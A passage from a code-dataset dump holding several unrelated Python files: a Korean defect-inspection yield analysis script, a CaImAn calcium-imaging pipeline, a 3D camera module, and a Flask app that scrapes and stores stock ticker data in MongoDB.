0}\nFrame = {'CC01' : Frame_2_1, 'CC02' : Frame_2_2, 'CC03' : Frame_2_3, 'DC02' : Frame_3_2, 'DC01' : Frame_3_1}\n\ndef inch_info(inch_x, inch_y, pitch, axis = 90):\n inch_x = inch_x + 1.2\n inch_y = inch_y + 1.2 #6323A\n if axis == 0:\n inch_x, inch_y = inch_y, inch_x \n pitch = pitch \n pitch_add = (pitch%inch_y)/int(pitch/inch_y)\n inch_y = (inch_y + pitch_add)\n return(inch_x, inch_y/1000)\n\ndef prod_ratio3(data, bin_x, bin_y, lot):\n result = []\n for i in data['불량명'].drop_duplicates(): #변경 : 불량명\n data_strong = data[(data['강/약'] == '강')&(data['불량명'] == i)] #변경 : 불량명\n before = data_strong[['cut_x','cut_y']].drop_duplicates().dropna() \n chip_qty = ((len(bin_x)-1)*(len(bin_y)-1))\n prod_ratio= 100 - (1-((len(before)/chip_qty)))*100 \n result += [i, len(before), prod_ratio, lot] \n data_strong = data[(data['강/약'] == '강')]\n before = data_strong[['cut_x','cut_y']].drop_duplicates().dropna() \n chip_qty = ((len(bin_x)-1)*(len(bin_y)-1))\n prod_ratio= 100 - (1-((len(before)/chip_qty)))*100\n result += ['합계(총 수율)', len(before), prod_ratio, lot]\n return result\n\ndef read_lot(Folder):\n os.chdir(Folder)\n lot = [] \n lot = [i[:-4] for i in glob.glob('**') if len(i) > 12]\n return lot\n\n\ndef read_csvfile(lot, width, length, inch_x, inch_y, *args):\n AOI = pd.read_csv(lot+'.csv', usecols = [4, 6, 7, 12, 13, 16, 21, 23], skiprows = [0], encoding = 'euc-kr', names = ['Y','X','기호','Size','Value','광학계','강/약','불량명'], error_bad_lines=False)\n AOI['Y'] = AOI['Y']/1000 \n #연결부\n AOI['cut'] = pd.cut(AOI.Y, range(0, length, 1))\n cut = AOI[(AOI['강/약'] == '강')&(AOI['불량명'].isin(['기포(백)','기포(흑)']))].groupby('cut').size()\n CUT = cut[cut>75]\n conn = []\n for i in range(0, len(CUT)):\n conn.append(CUT.index[i])\n AOI = AOI[~AOI.cut.isin(conn)]\n print(lot, conn)\n \n #chip 나누기\n bin_x = chip_division(width, inch_x)\n bin_y = chip_division_y(length, inch_y)\n \n labels_x = label_maker('x', len(bin_x)-1)\n labels_y = label_maker('y', len(bin_y)-1)\n \n AOI['cut_x'] = pd.cut(AOI['X'], bin_x, labels = labels_x)\n AOI['cut_y'] = pd.cut(AOI['Y'], bin_y, labels = labels_y)\n \n Adjust_AOI = AOI[(AOI['광학계'].isin(args))]\n \n return Adjust_AOI\n \n \ndef read_file(lot, width, length, inch_x, inch_y, *args):\n AOI = pd.read_csv('%s.txt'%lot, sep = '\\t', names = names)\n AOI['Frm_length'] = AOI['카메라(PC)'].apply(lambda x: Frame[lot[8:12]][str(x)[0:1]])\n AOI['광학계'] = AOI['카메라(PC)'].apply(lambda x: 광학계[str(x)[0:1]])\n AOI['Y'] = (AOI['Frm_length']*AOI['Frame수']+AOI['y'])/1000\n AOI['강/약'] = AOI['불량유형(10진수)'].apply(lambda x: '강' if x<60000 else '약')\n AOI['Size'] = (AOI['X-Size']+AOI['Y-Size'])/2\n \n #연결부\n AOI['cut'] = pd.cut(AOI.Y, range(0, length, 1))\n cut = AOI[AOI['불량유형(10진수)'].isin([1537, 1538])].groupby('cut').size() # 미분투과(이물), 정투과(이물 흑, 선), 정반사B(이물), 크로스2(군집S/C)\n CUT = cut[cut>75]\n conn = []\n for i in range(0, len(CUT)):\n conn.append(CUT.index[i])\n AOI = AOI[~AOI.cut.isin(conn)]\n print(lot, conn)\n \n #chip 나누기\n bin_x = chip_division(width, inch_x)\n bin_y = chip_division_y(length, inch_y)\n\n labels_x = label_maker('x', len(bin_x)-1)\n labels_y = label_maker('y', len(bin_y)-1)\n \n AOI['cut_x'] = pd.cut(AOI['X'], bin_x, labels = labels_x)\n AOI['cut_y'] = pd.cut(AOI['Y'], bin_y, labels = labels_y)\n\n Adjust_AOI = AOI[(AOI['불량유형(10진수)'].isin(args))]\n \n return Adjust_AOI\n\ndef revise_data(data, width, length, inch_x, inch_y):\n bin_x = chip_division(width, inch_x)\n bin_y = chip_division(length, inch_y)\n labels_x = label_maker('x', len(bin_x)-1)\n labels_y = label_maker('y', len(bin_y)-1)\n data['cut_x'] = pd.cut(data.X, bin_x, labels = labels_x)\n data['cut_y'] = pd.cut(data.Y, bin_y, labels = labels_y)\n return data \n\ndef rank_in_weak(data, count):\n data_weak = data[data['강/약']=='약']\n data_weak = data_weak[['Size','Value','X-Size', 'Y-Size','X','Y','cut_x','cut_y']].sort_values(['Value'], ascending = False)\n data_weak.reset_index(drop = True, inplace = True)\n data_weak.reset_index(drop = False, inplace = True)\n data_weak['rank'] = data_weak['index'].apply(lambda x:'red' if x=Value_st)&(data['Size']>=Size_st)][['cut_x','cut_y']]\n return mark_add \n \n \ndef prod_ratio(Value, Size, bin_x, bin_y, data, data_2):\n data_strong = data[(data['Value']>=Value)&(data['Size']>=Size)][['cut_x','cut_y']]\n Before = data_strong.drop_duplicates().dropna()\n After = data_2.drop_duplicates().dropna()\n Chip_qty = ((len(bin_x)-1)*(len(bin_y)-1))\n Before_ratio = (len(Before)/Chip_qty)*100 # 짤림 마킹 고려\n After_ratio = (1-(len(After)/Chip_qty))*100\n result = [len(data_strong), len(data_2), Chip_qty, Before_ratio, After_ratio]\n return result\n \n \ndef prod_ratio2(bin_x, bin_y, data):\n data_weak = data[(data['강/약'] == '약')][['cut_x','cut_y']]\n data_strong = data[(data['강/약']=='강')][['cut_x','cut_y']]\n st_marking = data_strong.drop_duplicates().dropna()\n Chip_qty = ((len(bin_x)-1)*(len(bin_y)-1))\n marking_ratio = ((len(st_marking)/Chip_qty))*100 # 짤림 마킹 고려\n result = [len(data_strong), len(st_marking), len(data_weak), marking_ratio]\n return result\n\n\ndef chip_division(axis, inch): # inch에 따라 label 만드는 함수 \n chip_label = []\n axis = axis\n scrap_side = (axis%inch)/2\n chip_qty = int(axis/inch)\n for i in range(0, chip_qty+1):\n chip_label.append(scrap_side + i*inch)\n return chip_label\n \n \ndef chip_division_y(axis, inch):\n chip_label = []\n chip_qty = int(axis/inch)\n for i in range(0, chip_qty+1):\n chip_label.append(i*inch)\n return chip_label\n\n\ndef label_maker(axis, num): # chip x, y 행 열 정보\n label = [] \n axis = axis\n if axis == 'x':\n for i in range(1,num+1):\n label.append('chip%d_x'%i)\n elif axis == 'y':\n for i in range(1,num+1):\n label.append('chip%d_y'%i)\n return label\n \n\ndef make_excel_file(worksheet, col):\n worksheet.write(1, col, 'Lot')\n worksheet.write(1, col+1, '기존 마킹 수')\n worksheet.write(1, col+2, '변경 마킹 수')\n worksheet.write(1, col+3, '재단 Chip 수')\n worksheet.write(1, col+4, '변경 이전 수율')\n worksheet.write(1, col+5, '변경 이후 수율')\n worksheet.write(1, col+6, '수율 변동')\n worksheet.write(1, col+7, '평균 수율 변동(r가중치)')\n\n\n\ndef insert_image(fig, worksheet, row=0, col=0, x_scale=0.5, y_scale=0.5): # Map용 그래프 삽입\n imgdata = BytesIO()\n fig.savefig(imgdata, format = 'png') \n worksheet.insert_image(row, col, '', {'image_data' : imgdata, 'x_scale' : x_scale, 'y_scale' : y_scale})\n \n \n \ndef insert_data(worksheet, row, lot, result, col=0):\n worksheet.write(row, col, lot)\n worksheet.write(row, col+1, result[0])\n worksheet.write(row, col+2, result[1])\n worksheet.write(row, col+3, result[2])\n worksheet.write(row, col+4, result[3])\n worksheet.write(row, col+5, result[4])\n worksheet.write(row, col+6, (result[4] - result[3]))\n \n \ndef graph(Data, lot, width, length, bin_x, bin_y): # 약, 강 그래프 Mapping\n fig, ax = plt.subplots(1,1, figsize = (12,6))\n g = sns.regplot(x = 'X', y = 'Y', data = Data[Data['강/약'] == '약'], color = 'b', fit_reg = False, ax = ax)\n h = sns.regplot(x = 'X', y = 'Y', data = Data[Data['강/약'] == '강'], color = 'r', fit_reg = False, ax = ax) \n g.set(xlim = (0, width), ylim = (0, length), xticks = bin_x, yticks = bin_y, title = '%s'%lot)\n return fig\n \ndef graph_1(Data, lot, width, length): #Value, Size 값 그래프 화(강, 약)\n fig, ax = plt.subplots(1,1, figsize = (12, 6))\n x = sns.regplot(x = 'Value', y = 'Size', data = Data[Data['강/약'] == '약'], color = 'b', fit_reg = False, ax = ax)\n y = sns.regplot(x = 'Value', y = 'Size', data = Data[Data['강/약'] == '강'], color = 'r', fit_reg = False, ax = ax)\n x.set(xlim = (0,200), ylim = (0,2.0), xticks = range(0,200,10), yticks = [0,0.2,0.4,0.6,0.8,1.0,1.2,1.4,1.6,1.8,2.0], title = '%s'%lot) \n return fig\n \ndef graph_2(Data, lot, width, length, Value_st, Size_st): #Value, Size 값 그래프 화(강, 약)\n fig, ax = plt.subplots(1,1, figsize = (12, 6))\n x = sns.regplot(x = 'Value', y = 'Size', data = Data[(Data['Value'] >= Value_st)&(Data['Size'] >= Size_st)], color = 'r', fit_reg = False, ax = ax, label = 'red')\n y = sns.regplot(x = 'Value', y = 'Size', data = Data[(Data['Value'] < Value_st)|(Data['Size'] < Size_st)], color = 'b', fit_reg = False, ax = ax, label = 'blue')\n x.set(xlim = (0,200), ylim = (0,2.0), xticks = range(0,200,10), yticks = [0,0.2,0.4,0.6,0.8,1.0,1.2,1.4,1.6,1.8,2.0], title = '%s'%lot)\n plt.axhline(y = 0.05, color = 'k', linewidth = 1, linestyle = '--', label = 'change')\n plt.axvline(x = Value_st, color = 'k', linewidth = 1, linestyle = '--')\n ax.legend()\n return fig\n \ndef make_rank(Data, count):\n B1 = Data[Data['강/약']=='약']\n B1 = B1[['Size','Value','X','Y','cut_x','cut_y']].sort_values(['Value','Size'], ascending = False)\n B1.reset_index(inplace = True)\n B1.reset_index(inplace = True)\n B1['rank'] = B1['level_0'].apply(lambda x:'red' if x2:\n mc_temp = mc_temp[0]\n\n\n\n\n\n\n#%% Select file(s) to be processed (download if not present)\nfnames = fname\n\n#%% First setup some parameters for data and motion correction\n \nn_processes = 16\n\n# dataset dependent parameters\nfr = 30 # imaging rate in frames per second\ndecay_time = 1.5 # length of a typical transient in seconds\ndxy = (1., 1.) # spatial resolution in x and y in (um per pixel)\n# note the lower than usual spatial resolution here\nmax_shift_um = (12., 12.) # maximum shift in um\npatch_motion_um = (100., 100.) # patch size for non-rigid correction in um\n\n# motion correction parameters\npw_rigid = True # flag to select rigid vs pw_rigid motion correction\n# maximum allowed rigid shift in pixels\nmax_shifts = [int(a/b) for a, b in zip(max_shift_um, dxy)]\n# start a new patch for pw-rigid motion correction every x pixels\nstrides = tuple([int(a/b) for a, b in zip(patch_motion_um, dxy)])\n# overlap between pathes (size of patch in pixels: strides+overlaps)\noverlaps = (24, 24)\n# maximum deviation allowed for patch with respect to rigid shifts\nmax_deviation_rigid = 3\n\nmc_dict = {\n 'fnames': fnames,\n 'fr': fr,\n 'decay_time': decay_time,\n 'dxy': dxy,\n 'pw_rigid': pw_rigid,\n 'max_shifts': max_shifts,\n 'strides': strides,\n 'overlaps': overlaps,\n 'max_deviation_rigid': max_deviation_rigid,\n 'border_nan': 'min'\n}\n\n#opts = params.CNMFParams(params_dict=mc_dict)\nopts = params.CNMFParams(params_dict=settingsFileDict)\n\n \n# %% start a cluster for parallel processing\nc, dview, n_processes = cm.cluster.setup_cluster(\n backend='local', n_processes=n_processes, single_thread=False)\n\nprint('checkpoint 1: mcorrect', flush=True)\n\n# %%% MOTION CORRECTION\n# first we create a motion correction object with the specified parameters\nif nomc:\n print('Skipping motion correction due to -nomc flag', flush=True)\n print('saving movies as mmap file', flush=True)\n fname_new = cm.save_memmap(fname, base_name='memmap_{}_full_'.format(slurmid), order='C',\n border_to_0=0)\n \nelse:\n mc = MotionCorrect(fnames, dview=dview, **opts.get_group('motion'))\n # note that the file is not loaded in memory\n \n # %% Run (piecewise-rigid motion) correction using NoRMCorre\n mc.motion_correct(save_movie=True, template=mc_temp)\n \n \n # %% MEMORY MAPPING\n border_to_0 = 0 if mc.border_nan is 'copy' else mc.border_to_0\n # you can include the boundaries of the FOV if you used the 'copy' option\n # during motion correction, although be careful about the components near\n # the boundaries\n # memory map the file in order 'C'\n \n save_name = mc.fname_tot_els if opts.get('motion','pw_rigid') else mc.fname_tot_rig\n \n print('saving movies as mmap file', flush=True)\n \n fname_new = cm.save_memmap(save_name, base_name='memmap_{}_full_'.format(slurmid), order='C',\n border_to_0=border_to_0) # exclude borders\n \n \n \n \n \n \n\n\n# reload full mmap sequence for processing\n\nYr, dims, T = cm.load_memmap(fname_new)\nimages = np.reshape(Yr.T, [T] + list(dims), order='F')\n# load frames in python format (T x X x Y)\n\n# %% restart cluster to clean up memory\ncm.stop_server(dview=dview)\nc, dview, n_processes = cm.cluster.setup_cluster(\n backend='local', n_processes=None, single_thread=False)\nn_processes = int(n_processes)\n\n\n# %% parameters for source extraction and deconvolution\np = 1 # order of the autoregressive system\ngnb = 2 # number of global background components, if positive, otherwise ring model with settings\n# gnb=0 : return background as b and W\n# gnb=-1 : retyrb full rank background B\n# gnb<-1: don't return background\n#Ain = None # possibility to seed with predetermined binary masks\nmerge_thr = 0.7 # merging threshold, max correlation allowed\nrf = 40 # half-size of the patches in pixels. e.g., if rf=25, patches are 50x50\nstride_cnmf = 20 # amount of overlap between the patches in pixels\nK = 8 # upper bound on components per patch\ngSig = [5, 5] # gaussian width of a 2D gaussian kernel, which approximates a neuron\ngSiz = [21, 21] # average diameter of a neuron, in general 4*gSig+1\nbord_px=20 # number of pixels to not consider in the borders)\n\nmethod_init = 'greedy_roi' # initialization method (if analyzing dendritic data using 'sparse_nmf'), for standard 2p use greedy_roi, for 1p use corr_pnr\n\n\nssub = 1 # spatial subsampling during initialization, increase if you have memory problems\ntsub = 2 # temporal subsampling during intialization, increase if you have memory problems\ncenter_psf=False # set to true if there is strong background\nlow_rank_background = True # None leaves background of each patch intact, True performs global low-rank approximation if gnb>0\nnb_patch = 1 # number of background components (rank) per patch if gnb>0, else it is set automatically (default 1)\nmin_corr = .6 # min peak value from correlation image (for corr_pnr)\nmin_pnr = 6 # min peak to noise ration from PNR image (for corr_pnr)\nssub_B = 2 # additional downsampling factor in space for background (for corr_pnr)\nring_size_factor = 1.4 # radius of ring is gSiz*ring_size_factor\n\nonly_init = True \n\nupdate_background_components=True # sometimes setting to False improve the results\n\n\nopts_dict={'method_init': method_init, \n 'K': K,\n 'gSig': gSig,\n 'gSiz': gSiz,\n 'merge_thr': merge_thr,\n 'p': p,\n 'tsub': tsub,\n 'ssub': ssub,\n 'rf': rf,\n 'stride': stride_cnmf,\n 'only_init': only_init, # set it to True to run CNMF-E\n 'nb': gnb,\n 'nb_patch': nb_patch,\n 'method_deconvolution': 'oasis', # could use 'cvxpy' alternatively\n 'low_rank_background': low_rank_background,\n 'update_background_components': True, # sometimes setting to False improve the results\n 'min_corr': min_corr,\n 'min_pnr': min_pnr,\n 'normalize_init': False, # just leave as is\n 'center_psf': center_psf, \n 'ssub_B': ssub_B,\n 'ring_size_factor': ring_size_factor,\n 'del_duplicates': True, # whether to remove duplicates from initialization\n 'border_pix': bord_px} \n\n\n# parameters for component evaluation\n#opts_dict = {'fnames': fnames,\n# 'fr': fr,\n# 'nb': gnb,\n# 'rf': rf,\n# 'K': K,\n# 'gSig': gSig,\n# 'stride': stride_cnmf,\n# 'method_init': method_init,\n# 'rolling_sum': True,\n# 'merge_thr': merge_thresh,\n# 'n_processes': n_processes,\n# 'only_init': True,\n# 'ssub': ssub,\n# 'tsub': tsub,\n# 'center_psf':center_psf\n# }\n\n#opts.change_params(params_dict=opts_dict)\n\n\nprint('checkpoint 2: patch cnmf', flush=True)\n\n\n# % INITIALIZE CNMF COMPONENTS\n\n#cnm = cnmf.CNMF(n_processes, params=opts, dview=dview)\n#cnm.params.set('init',{})\n\n\n\n\n# %% RUN CNMF ON PATCHES\n# First extract spatial and temporal components on patches and combine them\n# for this step deconvolution is turned off (p=0)\n\n\nif method_init is \"greedy_roi\": # standard case\n p = opts.get('temporal','p')\n opts.change_params( {'p': 0})\n cnm = cnmf.CNMF(n_processes, params=opts, Ain=Ain, dview=dview)\n cnm = cnm.fit(images)\n\n\n # %% RE-RUN seeded CNMF on accepted patches to refine and perform deconvolution\n cnm.params.change_params( {'p': p})\n cnm2 = cnm.refit(images, dview=dview)\nelse: # cnmf-E case\n cnm2 = cnmf.CNMF(n_processes, params=opts, Ain=Ain, dview=dview)\n cnm2.fit(images)\n\n\n\nprint('checkpoint 3: eval components', flush=True)\n\n\n# %% COMPONENT EVALUATION\n# the components are evaluated in three ways:\n# a) the shape of each component must be correlated with the data\n# b) a minimum peak SNR is required over the length of a transient\n# c) each shape passes a CNN based classifier\nmin_SNR = 1 # signal to noise ratio for accepting a component\nrval_thr = 0.7 # space correlation threshold for accepting a component; lower -> more components accepted\nuse_cnn = True # use CNN classifier on spatial components\ncnn_thr = 0.99 # threshold for CNN based classifier\ncnn_lowest = 0.1 # neurons with cnn probability lower than this value are rejected\n\n#cnm2.params.set('quality', {'decay_time': decay_time,\n# 'min_SNR': min_SNR,\n# 'rval_thr': rval_thr,\n# 'use_cnn': use_cnn,\n# 'min_cnn_thr': cnn_thr,\n# 'cnn_lowest': cnn_lowest})\ncnm2.estimates.evaluate_components(images, cnm2.params, dview=dview)\n\n#%% Extract DF/F values\nif cnm2.estimates.b is not None:\n cnm2.estimates.detrend_df_f(quantileMin=8, frames_window=250)\n\n \n#%% update object with selected components\n#cnm2.estimates.select_components(use_object=True)\n\n\n \nprint('checkpoint 4: save', flush=True)\n\n#%% save results\ncnm2.save(outfile)\n\n#%% STOP CLUSTER and clean up log files\ncm.stop_server(dview=dview)\n#log_files = glob.glob('*_LOG_*')\n#for log_file in log_files:\n# os.remove(log_file)\n\nprint('checkpoint 5: final', flush=True)\n\n","repo_name":"bnstet/scripts","sub_path":"CaImAn/pipeline.py","file_name":"pipeline.py","file_ext":"py","file_size_in_byte":15242,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"74659764996","text":"import numpy as np\nfrom . import matlib as M\nfrom .utils import debug\n\nclass Variable:\n def __init__(self, value, finish_time=0.8):\n self._finishTime = finish_time\n value = np.array(value, dtype=np.float)\n self.value = value\n self.set(value)\n self.finished = True\n\n def set(self, value):\n self._startValue = self.value\n self._endValue = np.array(value, dtype=np.float)\n self._time = 0.\n self.finished = False\n\n def update(self, dt):\n if self.finished:\n return\n self._time += dt\n if self._time > self._finishTime:\n self.value = self._endValue\n self.finished = True\n else:\n t = self._time / self._finishTime\n self.value = (1 - t) * self._startValue + t * self._endValue\n\n def get(self):\n return self.value\n\n def __repr__(self):\n return 'Variable(v0={}, v1={}, v={}, t={}, tt={}, progress={}, finished={})'.format(\n tuple(self._startValue), tuple(self._endValue), tuple(self.value),\n self._time, self._finishTime, self._time / self._finishTime, self.finished)\n\n\nclass BallVariable(Variable):\n def set(self, value):\n x = M.normalized(self.value)\n y = M.normalized(np.array(value, dtype=np.float))\n z = M.normalized(np.cross(x, y))\n if np.allclose(z, 0):\n z = M.normalized(np.cross(x, np.random.random(3)))\n\n angle = np.arccos(np.dot(x, y))\n self._ix = x\n self._iy = np.cross(z, x)\n self._time = 0.\n self._angle = angle\n if abs(angle) >= 1e-5:\n self.finished = False\n else:\n self.value = y\n\n def update(self, dt):\n if self.finished:\n return\n self._time += dt\n if self._time > self._finishTime:\n self.finished = True\n a = self._angle\n else:\n a = self._time / self._finishTime * self._angle\n self.value = np.cos(a) * self._ix + np.sin(a) * self._iy\n\n def __repr__(self):\n return 'BallVariable(x={}, y={}, t={}, tt={}, progress={}, finished={})'.format(\n tuple(self._ix), tuple(self._iy), self._time, self._finishTime,\n self._time / self._finishTime, self.finished)\n\n\nclass Camera:\n DRAG_SPEED = 0.005\n MOVE_SPEED = 0.005\n LEFT_BUTTON_BIT = 1\n MIDDLE_BUTTON_BIT = 2\n RIGHT_BUTTON_BIT = 4\n\n def __init__(self, pos, center, up):\n self.pos = M.vec3_to_vec4(pos)\n self.center = M.vec3_to_vec4(center)\n self.up = M.vec3_to_vec4_n(M.normalized(up))\n self._gen_view_mat()\n self.projMat0 = M.identity()\n self._scale = 1.\n self._gen_proj_mat()\n self.posVar = BallVariable(M.normalized(M.vec4_to_vec3(self.pos - self.center)))\n self.centerVar = Variable(self.center)\n self.upVar = BallVariable(M.vec4_to_vec3(self.up))\n self.target = None\n self.tracking = False\n\n def _gen_view_mat(self):\n self.viewMat = M.look_at(self.pos[:3], self.center[:3], self.up[:3])\n\n def _gen_proj_mat(self):\n self.projMat = np.dot(self.projMat0, M.scale(self._scale))\n\n def scale(self, k):\n self._scale *= k\n self._gen_proj_mat()\n\n def on_resize(self, w, h):\n self.projMat0 = M.ortho_view(-w / h, w / h, -1, 1, -100, 100)\n self._gen_proj_mat()\n\n def on_mouse_drag(self, x, y, dx, dy, buttons, modifiers):\n dy = -dy\n r = np.sqrt(dx * dx + dy * dy)\n # if r < 2: return\n iy = self.up\n ix = M.vec3_to_vec4(M.normalized(\n np.cross((self.center - self.pos)[:3], self.up[:3])))\n if buttons & self.LEFT_BUTTON_BIT:\n # Rotate\n axis = -dy * ix + dx * iy\n R = M.rotate(-self.DRAG_SPEED / self._scale * r, self.center[:3], axis[:3])\n self.pos = R.dot(self.pos)\n self.up = R.dot(self.up)\n elif buttons & self.RIGHT_BUTTON_BIT:\n # Move\n T = M.translate(*(\n (dx * ix[:3] + dy * iy[:3]) * (-self.MOVE_SPEED / self._scale)\n ))\n self.center = np.dot(T, self.center)\n self.pos = np.dot(T, self.pos)\n self.tracking = False\n self._gen_view_mat()\n\n def update(self, dt):\n if self.tracking:\n self.posVar.update(dt)\n self.pos = M.vec3_to_vec4(\n self.target.matrix[0:3, 3] + self.dist * self.posVar.get())\n self.upVar.update(dt)\n self.up = M.vec3_to_vec4_n(self.upVar.get())\n self.centerVar.update(dt)\n self.center = self.centerVar.get()\n self._gen_view_mat()\n if self.posVar.finished and self.upVar.finished and self.centerVar.finished:\n self.tracking = False\n\n def set_target(self, target):\n self.target = target\n\n def _switch_view(self, x, y, z):\n \"\"\"\n y: up\n z: out\n \"\"\"\n if self.target is None:\n debug('no target')\n return\n m = self.target.matrix\n self.dist = np.linalg.norm(self.pos - self.center)\n self.posVar.set(M.normalized(np.sign(z) * m[0:3, np.abs(z) - 1]))\n self.upVar.set(np.sign(y) * m[0:3, np.abs(y) - 1])\n self.centerVar.set(M.vec3_to_vec4(m[0:3, 3]))\n self.tracking = True\n\n def top_view(self):\n self._switch_view(0, 2, 3)\n\n def bottom_view(self):\n self._switch_view(0, -2, -3)\n\n def left_view(self):\n self._switch_view(0, 3, -1)\n\n def right_view(self):\n self._switch_view(0, 3, 1)\n\n def front_view(self):\n self._switch_view(0, 3, -2)\n\n def back_view(self):\n self._switch_view(0, 3, 2)\n","repo_name":"ZhanruiLiang/raygllib","sub_path":"raygllib/camera.py","file_name":"camera.py","file_ext":"py","file_size_in_byte":5722,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"4704666443","text":"from pymongo import MongoClient\nfrom bson.objectid import ObjectId\nfrom flask import Flask,render_template,jsonify,json,request\nfrom IPython.display import display_html\nfrom bs4 import BeautifulSoup, SoupStrainer\n\nimport sys, threading\nimport pymongo\nimport requests\nimport lxml\n\napplication = Flask(__name__)\n\nimport logging\nlog = logging.getLogger('werkzeug')\nlog.setLevel(logging.ERROR)\n\nclient = MongoClient('localhost:27017')\ndb = client.TickerData\ndb.Tickers.create_index([('device', pymongo.ASCENDING)], unique=True)\n\n#TODO: User database with login system. Will probably require seperate lists per user.\n#TODO: In order to fix the issue with the list not updating, make tickerList global.\n# Then we append to tickerList and check for dups using 'if ITEM not in LIST'\nfinished = False\nmax_connections = 20\nbinarySemaphore = threading.Semaphore(max_connections)\n\ngetSignal=\"\"\ngetPrice=\"\"\ngetChange=\"\"\ngetVolume=\"\"\n\n@application.route(\"/addTicker\",methods=['POST'])\ndef addTicker():\n try:\n json_data = request.json['info']\n deviceName = json_data['device']\n\n CrawlerThread(binarySemaphore, deviceName.upper(), \"\", \"add\").start()\n\n return jsonify(status='OK',message='inserted successfully')\n except Exception as e:\n return jsonify(status='ERROR',message=str(e))\n\n@application.route('/')\ndef showTickerList():\n global finished\n finished=False\n return render_template('list.html')\n\n\n@application.route('/getTicker',methods=['POST'])\ndef getTicker():\n try:\n tickerId = request.json['id']\n ticker = db.Tickers.find_one({'_id':ObjectId(tickerId)})\n\n tickerDetail = {\n 'device':ticker['device'].upper(),\n 'signal':ticker['signal'],\n 'price':ticker['price'],\n 'change':ticker['change'],\n 'volume':ticker['volume'],\n 'id': tickerId\n }\n\n return json.dumps(tickerDetail)\n except Exception as e:\n return str(e)\n\n\n@application.route('/updateTicker',methods=['POST'])\ndef updateTicker():\n try:\n tickerInfo = request.json['info']\n tickerId = tickerInfo['id']\n device = tickerInfo['device']\n\n CrawlerThread(binarySemaphore, device.upper(), tickerId, \"update\").start()\n\n return jsonify(status='OK',message='updated successfully')\n except Exception as e:\n return jsonify(status='ERROR',message=str(e))\n\n\n#Refresh Tickers\n@application.route(\"/refreshTickers\",methods=['POST'])\ndef refreshTickers():\n try:\n tickers = db.Tickers.find()\n\n for ticker in tickers:\n CrawlerThread(binarySemaphore, ticker['device'], ticker['_id'], \"update\").start()\n\n return jsonify(status='OK',message='updated successfully')\n except Exception as e:\n return jsonify(status='ERROR',message=str(e))\n\n\n@application.route(\"/getTickerList\",methods=['POST'])\ndef getTickerList():\n try:\n tickers = db.Tickers.find()\n\n tickerList = []\n for ticker in tickers:\n\n # We don't crawl here because we've stored this info in MongoDB for\n # quickest retrieval or possible downtime from crawled sites.\n tickerItem = {\n 'device':ticker['device'].upper(),\n 'signal':ticker['signal'],\n 'price':ticker['price'],\n 'change':ticker['change'],\n 'volume':ticker['volume'],\n 'id': str(ticker['_id'])\n }\n\n tickerList.append(tickerItem)\n\n except Exception as e:\n return str(e)\n return json.dumps(tickerList)\n\n@application.route(\"/deleteTicker\",methods=['POST'])\ndef deleteTicker():\n try:\n tickerId = request.json['id']\n db.Tickers.remove({'_id':ObjectId(tickerId)})\n return jsonify(status='OK',message='deletion successful')\n except Exception as e:\n return jsonify(status='ERROR',message=str(e))\n\n\n# New crawling method with multithreading\nclass CrawlerThread(threading.Thread):\n def __init__(self, binarySemaphore, ticker, tickerId, mode):\n #print(\"Init CrawlerThread\")\n self.binarySemaphore = binarySemaphore\n self.ticker = ticker\n self.tickerId = tickerId\n self.mode = mode #Update/Add\n self.threadId = hash(self)\n threading.Thread.__init__(self)\n\n def run(self):\n #print (\"Thread #%d: Reading from %s\" + str(self.threadId))\n self.crawl_pages(self.ticker, self.tickerId, self.mode)\n self.binarySemaphore.release()\n\n #Parameter to do diff things...\n def crawl_pages(self, ticker, tickerId, mode):\n url=\"https://www.americanbulls.com/m/SignalPage.aspx?lang=en&Ticker=\"+str(ticker)\n source_code = requests.get(url)\n plain_text = source_code.text\n strainer = SoupStrainer('span',{'id': 'MainContent_LastSignal'})\n soup = BeautifulSoup(plain_text, \"lxml\", parse_only=strainer)\n getSignal = soup.find(id=\"MainContent_LastSignal\").string\n # change=soup.find(id=\"MainContent_Change\").string\n # percentchange=soup.find(id=\"MainContent_ChangePercent\").string\n # getChange = change+\" (\"+percentchange+\")\"\n\n # url=\"https://www.stocktwits.com/symbol/\"+str(ticker)\n # source_code = requests.get(url)\n # plain_text = source_code.text\n # strainer = SoupStrainer('span',{'class': 'price'})\n # soup = BeautifulSoup(plain_text, \"lxml\", parse_only=strainer)\n # getPrice = soup.find(class_=\"price\").string\n\n url=\"http://www.nasdaq.com/symbol/\"+str(ticker)\n source_code = requests.get(url)\n plain_text = source_code.text\n strainer = SoupStrainer(['label',{'id': str(ticker)+'_Volume'},\n 'div',{'class': ['qwidget-cents qwidget-Green',\n 'qwidget-cents qwidget-Red',\n 'qwidget-percent qwidget-Green',\n 'qwidget-percent qwidget-Red']},\n 'div',{'id':'qwidget_lastsale'}])\n soup = BeautifulSoup(plain_text, \"lxml\", parse_only=strainer)\n getVolume = soup.find(id=str(ticker).upper()+'_Volume').string\n getPrice = soup.find(id=\"qwidget_lastsale\").string\n if ( soup.find(class_='qwidget-cents qwidget-Green') ):\n percent = soup.find(class_='qwidget-percent qwidget-Green').string\n change = soup.find(class_='qwidget-cents qwidget-Green').string\n change = str(round(float(change),3))\n getChange= \"+\"+change+\" (\"+percent+\")\"\n elif ( soup.find(class_='qwidget-cents qwidget-Red') ):\n percent = soup.find(class_='qwidget-percent qwidget-Red').string\n change = soup.find(class_='qwidget-cents qwidget-Red').string\n change = str(round(float(change),3))\n getChange= \"-\"+change+\" (\"+percent+\")\"\n\n # TODO: Refresh needs to happen here..\n global finished\n if ( self.mode == \"update\" ):\n print(\"Updating ticker: \"+ticker)\n db.Tickers.update_one({'_id':ObjectId(self.tickerId)},\n {'$set':{\n 'device':self.ticker.upper(),\n 'signal':getSignal,\n 'price':getPrice,\n 'change':getChange,\n 'volume':getVolume}})\n\n # finished=True\n elif ( self.mode == \"add\" ):\n print(\"Adding ticker: \"+ticker)\n db.Tickers.insert_one({ 'device':self.ticker.upper(),\n 'signal':getSignal,\n 'price':getPrice,\n 'change':getChange,\n 'volume':getVolume})\n finished=True\n\n\n@application.route(\"/status\")\ndef getThreadStatus():\n with application.test_request_context():\n return jsonify(dict(status=('finished' if finished else 'running')))\n\nif __name__ == \"__main__\":\n 